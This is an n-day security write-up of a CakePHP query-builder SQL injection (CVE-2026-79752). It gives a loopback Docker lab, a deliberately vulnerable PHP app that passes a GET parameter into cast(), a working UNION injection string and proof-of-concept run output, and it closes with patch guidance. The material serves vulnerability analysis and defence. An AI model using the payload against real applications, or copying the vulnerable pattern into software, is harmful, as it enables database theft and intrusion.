Research/CVE-2026-79752
N-dayCVE-2026-79752CriticalPublic

CVE-2026-79752: CakePHP, unauthenticated RCE

CakePHP FunctionsBuilder::cast splices $dataType into SQL as a literal. extract, datePart, and dateAdd do the same for $part and $unit. The lab passes GET type into cast. Not WordPress. Fixed in 5.2.14 and siblings.

Name
CVE-2026-79752: CakePHP, unauthenticated RCE
Type
N-day analysis
CVE
CVE-2026-79752
CVE Risk
critical
Disclosure Status
public
Vendor
CakePHP
Affected
cakephp/cakephp and cakephp/database before 4.5.12, 4.6.5, 5.1.9, 5.2.14, and 5.3.7; lab on 5.2.13
Published
19 Sept 2026
Updated
19 Sept 2026
Tags
n-day, cakephp, sql-injection, cwe-89, unauthenticated, rce

CAST AS literal

I am @abraxas_null. The proof of concept is on GitHub: abraxas/CVE-2026-79752 (loopback client). The lab stack is lab/: Dockerfile, docker-compose.yml, lab-www/index.php, lab-www/composer.json. Authorized lab only. It talks to loopback.

CVE-2026-79752 (NVD, GHSA-vjqc-q4mp-2rvf) is SQL injection in CakePHP FunctionsBuilder. Lab is 5.2.13. CWE-89. GHSA 9.2 (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N). This is not a WordPress plugin. Fixed in 5.2.14, 5.3.7, 5.1.9, 4.6.5, 4.5.12.

The advisory names cast, extract, datePart, dateAdd. Those are PHP methods. There is no CMS route. An application that passes untrusted input into $dataType / $part / $unit gets those strings spliced into SQL as literals. The lab app is a ten-line front controller that does exactly that with $_GET['type']. SQLi at the DB user's privileges is RCE when that user can write files or run into other gadgets. The lab witness is a UNION that returns a unique string from a sqlite row. I am not publishing a destructive payload.

This is the map I used to get from CAST(body AS INTEGER) to a JSON array that contained POCWitness79752. Isolated lab, loopback only. The stack is in the CVE repo so you can run it at home. The client is the repo above.

What an attacker can do

An application that passes request data into func()->cast(..., $type) (or the other three) lets the caller close the CAST and UNION whatever they want. The lab leaks notes.body. That is SQL injection in the CakePHP query builder, not in Postgres jsonpath.

The lab (run this at home)

Source of truth is lab/ on GitHub. This one has a real Dockerfile: php:8.2-apache plus composer:2, pdo_sqlite, and cakephp/database 5.2.13. Port on loopback only. Compose bind-mounts lab-www/index.php over the copy baked into the image.

Dockerfile
FROM php:8.2-apache
RUN apt-get update && apt-get install -y --no-install-recommends libsqlite3-dev git unzip \
    && docker-php-ext-install pdo_sqlite \
    && rm -rf /var/lib/apt/lists/*
COPY --from=composer:2 /usr/bin/composer /usr/bin/composer
WORKDIR /var/www/html
COPY lab-www/composer.json /var/www/html/composer.json
RUN composer install --no-dev --no-interaction --no-progress --no-security-blocking
COPY lab-www/index.php /var/www/html/index.php
RUN chown -R www-data:www-data /var/www/html /tmp
YAML
services:
  web:
    build: .
    ports:
      - "127.0.0.1:8088:80"
    volumes:
      - ./lab-www/index.php:/var/www/html/index.php:ro
JSON
{
  "name": "lab/cve-2026-79752",
  "require": {
    "php": ">=8.1",
    "cakephp/database": "5.2.13"
  },
  "config": {
    "platform": { "php": "8.2.0" },
    "audit": { "abandoned": "ignore", "block-insecure": false },
    "secure-http": true
  }
}

The lab app is the fixture. It creates a sqlite table notes with body = POCWitness79752 and passes $_GET['type'] into cast().

PHP
<?php
/**
 * Lab app for CVE-2026-79752. Passes untrusted type into FunctionsBuilder::cast.
 */
declare(strict_types=1);

require __DIR__ . '/vendor/autoload.php';

use Cake\Database\Connection;
use Cake\Database\Driver\Sqlite;

header('Content-Type: text/plain; charset=utf-8');

$driver = new Sqlite(['database' => '/tmp/lab79752.sqlite']);
$conn = new Connection(['driver' => $driver]);
$conn->execute('CREATE TABLE IF NOT EXISTS notes (id INTEGER PRIMARY KEY, body TEXT)');
$n = $conn->execute('SELECT COUNT(*) FROM notes')->fetchAll()[0][0] ?? 0;
if ((int) $n === 0) {
    $conn->execute("INSERT INTO notes (id, body) VALUES (1, 'POCWitness79752')");
}

$type = isset($_GET['type']) ? (string) $_GET['type'] : 'INTEGER';
try {
    $q = $conn->selectQuery();
    $q = $q->select(['v' => $q->func()->cast('body', $type)])->from('notes');
    $sql = $q->sql();
    echo "sql=" . $sql . "\n";
    $rows = $q->execute()->fetchAll('assoc');
    echo json_encode($rows, JSON_UNESCAPED_SLASHES) . "\n";
} catch (Throwable $e) {
    http_response_code(500);
    echo $e->getMessage() . "\n";
}

Bring-up from the CVE repo lab/:

Plain text
git clone https://github.com/abraxas/CVE-2026-79752
cd CVE-2026-79752/lab
docker compose up --build -d --force-recreate
python3 ../CVE-2026-79752-Abraxas-Labs.py

Do not publish the port off loopback. The proof of concept is written for 127.0.0.1:8088.

What the tree actually registers

FunctionsBuilder::cast in 5.2.13:

PHP
public function cast(ExpressionInterface|string $field, string $dataType): FunctionExpression
{
    $expression = new FunctionExpression('CAST', $this->toLiteralParam($field));

    return $expression->setConjunction(' AS')->add([$dataType => 'literal']);
}

$dataType is a SQL identifier in the programmer's head. In the query compiler it is a literal fragment. Same pattern: extract / datePart add $part as a literal after FROM. dateAdd concatenates $unit into INTERVAL as a literal. The field expression can be bound. The type cannot.

The lab GET /?type=INTEGER) FROM notes UNION SELECT body FROM notes -- becomes CAST(body AS INTEGER) FROM notes UNION SELECT body FROM notes --. Sqlite runs it. The second row is the witness string from notes.body.

5.2.14 and the other tagged fixes stop treating those parameters as free SQL. That is the patch. Update. Workaround from the GHSA: do not pass user-controlled data into those arguments.

The 200 that was CAST AS INTEGER

The first client I pointed at this was polite. It hit / with no type, or type=TEXT. You get sql=SELECT (CAST(body AS INTEGER)) AS v FROM notes and [{"v":0}]. That is the product working. The injection fragment is not in the SQL.

A few other ways to lose without learning anything:

  • Composer 500. Image build did not composer install.
  • Witness string in the default page because you grepped the PHP source. The row has to come back through the query.
  • sql= still only CAST(body AS INTEGER) after the inject GET. The type never left the query builder.
  • A reverse shell. Theatre. The witness is POCWitness79752 in the JSON and the injected fragment in sql=.

The tell is small plaintext: a sql= line that is no longer a single CAST, then JSON that contains the unique string.

What I actually did

Treat the on-disk product as the spec. The GHSA named four methods. I read cast, then built a sqlite app that passes GET into it. Proof of concept: CVE-2026-79752-Abraxas-Labs.py.

Default, then inject. GET /. Confirm CAST only. GET /?type= with a type that closes the CAST and UNIONs body. Both the SQL dump and the JSON must show the fragment and the witness.

Last lab run, trimmed:

Plain text
default status=200
sql=SELECT (CAST(body AS INTEGER)) AS v FROM notes
[{"v":0}]
inject status=200
sql=SELECT (CAST(body AS INTEGER)) FROM notes UNION SELECT body FROM notes --)) AS v FROM notes
POCWitness79752
SUCCESS CVE-2026-79752

The client that produced it is on GitHub.

Wrong turns: composer 500 because the image skipped composer install; grepping the witness out of PHP source; sql= still only CAST(body AS INTEGER) after the inject GET.

What this is not

It is not WordPress. It is not "sqlite will CAST text to integer." It is CakePHP putting a caller-supplied type into the query as SQL. An application that hard-codes 'INTEGER' is fine. An application that takes the type from the request is not.

Update to 5.2.14 (or 5.3.7 / 5.1.9 / 4.6.5 / 4.5.12). Re-run the loopback client against the patched build: the injected fragment must not appear in sql=.

I am not going to print a payload that writes files through sqlite. The unescaped $dataType is the useful part. If you own the box, run the proof of concept against loopback.

Client bugs look like product bugs. A helper that shadows http.client never sends a packet. .recv() on an HTTPResponse is not .read(). I mention that once because it cost time and looked, for a minute, like CakePHP was fine.

References